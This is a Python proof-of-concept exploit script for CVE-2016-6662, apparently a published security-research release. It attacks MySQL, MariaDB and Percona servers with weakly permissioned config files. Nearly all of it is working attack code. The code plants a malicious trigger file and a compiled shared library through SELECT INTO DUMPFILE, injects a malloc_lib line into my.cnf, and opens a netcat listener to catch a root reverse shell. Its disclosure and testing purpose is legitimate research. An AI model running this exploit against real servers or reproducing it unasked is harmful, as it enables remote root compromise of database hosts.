MySQL / MariaDB / PerconaDB 5.5.51 / 5.6.32 / 5.7.14 - Code Execution / Privilege Escalation

#!/usr/bin/python



#

# MySQL / MariaDB / Percona -  Remote Root Code Execution / PrivEsc PoC Exploit

# (CVE-2016-6662) 

# 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)

#

# For testing purposes only. Do no harm.

#

# Discovered/Coded by:

#

# Dawid Golunski

# http://legalhackers.com

#

#

# This is a limited version of the PoC exploit. It only allows appending to

# existing mysql config files with weak permissions. See V) 1) section of 

# the advisory for details on this vector. 

#

# Full PoC will be released at a later date, and will show how attackers could

# exploit the vulnerability on default installations of MySQL on systems with no

# writable my.cnf config files available.

#

# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial

# for certain low-privileged attackers that do not have FILE privilege.

# 

# See full advisory for details:

# https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

#

# Video PoC:

# https://legalhackers.com/videos/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

#

#

# Follow: https://twitter.com/dawid_golunski

# &

# Stay tuned ;)

#



intro = """

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)

(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit



For testing purposes only. Do no harm.



Discovered/Coded by:



Dawid Golunski

http://legalhackers.com



"""



import argparse

import mysql.connector    

import binascii

import subprocess





def info(str):

    print "[+] " + str + "\n"



def errmsg(str):

    print "[!] " + str + "\n"



def shutdown(code):

    if (code==0):

        info("Exiting (code: %d)\n" % code)

    else:

        errmsg("Exiting (code: %d)\n" % code)

    exit(code)





cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"

process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

(result, error) = process.communicate()

rc = process.wait() 





# where will the library to be preloaded reside? /tmp might get emptied on reboot

# /var/lib/mysql is safer option (and mysql can definitely write in there ;)

malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'





# Main Meat



print intro



# Parse input args

parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')

parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 

parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')

parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')

parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')

parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')

                  

args = parser.parse_args()





# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions

# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)

info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))

try:

    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)

except mysql.connector.Error as err:

    errmsg("Failed to connect to the target: {}".format(err))

    shutdown(1)



try:

    cursor = dbconn.cursor()

    cursor.execute("SHOW GRANTS")

except mysql.connector.Error as err:

    errmsg("Something went wrong: {}".format(err))

    shutdown(2)



privs = cursor.fetchall()

info("The account in use has the following grants/perms: " )

for priv in privs:

    print priv[0]

print ""





# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld 

# process execution and run our code (Remote Root Shell)

# Remember to match the architecture of the target (not your machine!) otherwise the library

# will not load properly on the target.

info("Compiling mysql_hookandroot_lib.so")

cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"

process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

(result, error) = process.communicate()

rc = process.wait() 

if rc != 0:

    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)

    print error 

    shutdown(2)



# Load mysql_hookandroot_lib.so library and encode it into HEX

info("Converting mysql_hookandroot_lib.so into HEX")

hookandrootlib_path = './mysql_hookandroot_lib.so'

with open(hookandrootlib_path, 'rb') as f:

    content = f.read()

    hookandrootlib_hex = binascii.hexlify(content)



# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG 

# in spite of the lack of SUPER/admin privileges (attacker only needs SELECT/FILE privileges).

# Decoded payload (paths may differ) will look similar to:

"""

DELIMITER //

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf

AFTER INSERT

   ON `poctable` FOR EACH ROW

BEGIN



   DECLARE void varchar(550);

   set global general_log_file='/var/lib/mysql/my.cnf';

   set global general_log = on;

   select "



# 0ldSQL_MySQL_RCE_exploit got here :)



[mysqld]

malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'



[abyss]

" INTO void;   

   set global general_log = off;



END; //

DELIMITER ;

"""

trigger_payload="""TYPE=TRIGGERS

triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n   ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n   DECLARE void varchar(550);\\n   set global general_log_file=\\'%s\\';\\n   set global general_log = on;\\n   select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void;   \\n   set global general_log = off;\\n\\nEND'

sql_modes=0

definers='root@localhost'

client_cs_names='utf8'

connection_cl_names='utf8_general_ci'

db_cl_names='latin1_swedish_ci'

""" % (args.TARGET_MYCNF, malloc_lib_path)



# Convert trigger into HEX to pass it to unhex() SQL function

trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)



# Save trigger into a trigger file

TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB

info("Saving trigger payload into %s" % (TRG_path))

try:

    cursor = dbconn.cursor()

    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )

except mysql.connector.Error as err:

    errmsg("Something went wrong: {}".format(err))

    shutdown(4)



# Save library into a trigger file

info("Dumping shared library into %s file on the target" % malloc_lib_path)

try:

    cursor = dbconn.cursor()

    cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )

except mysql.connector.Error as err:

    errmsg("Something went wrong: {}".format(err))

    shutdown(5)



# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server

info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")

try:

    cursor = dbconn.cursor()

    cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'"  )

except mysql.connector.Error as err:

    errmsg("Something went wrong: {}".format(err))

    shutdown(6)



# Finally, execute the trigger's payload by inserting anything into `poctable`. 

# The payload will write to the mysql config file at this point.

info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )

try:

    cursor = dbconn.cursor()

    cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )

except mysql.connector.Error as err:

    errmsg("Something went wrong: {}".format(err))

    shutdown(6)



# Check on the config that was just created

info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )

try:

    cursor = dbconn.cursor()

    cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)

except mysql.connector.Error as err:

    errmsg("Something went wrong: {}".format(err))

    shutdown(2)

finally:

    dbconn.close()  # Close DB connection

print ""

myconfig = cursor.fetchall()

print myconfig[0][0]

info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")



# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)

info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )

listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])

listener.communicate()

print ""



# Show config again after all the action is done

info("Shell closed. Hope you had fun. ")



# Mission complete, but just for now... Stay tuned :)

info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")





# Shutdown

shutdown(0)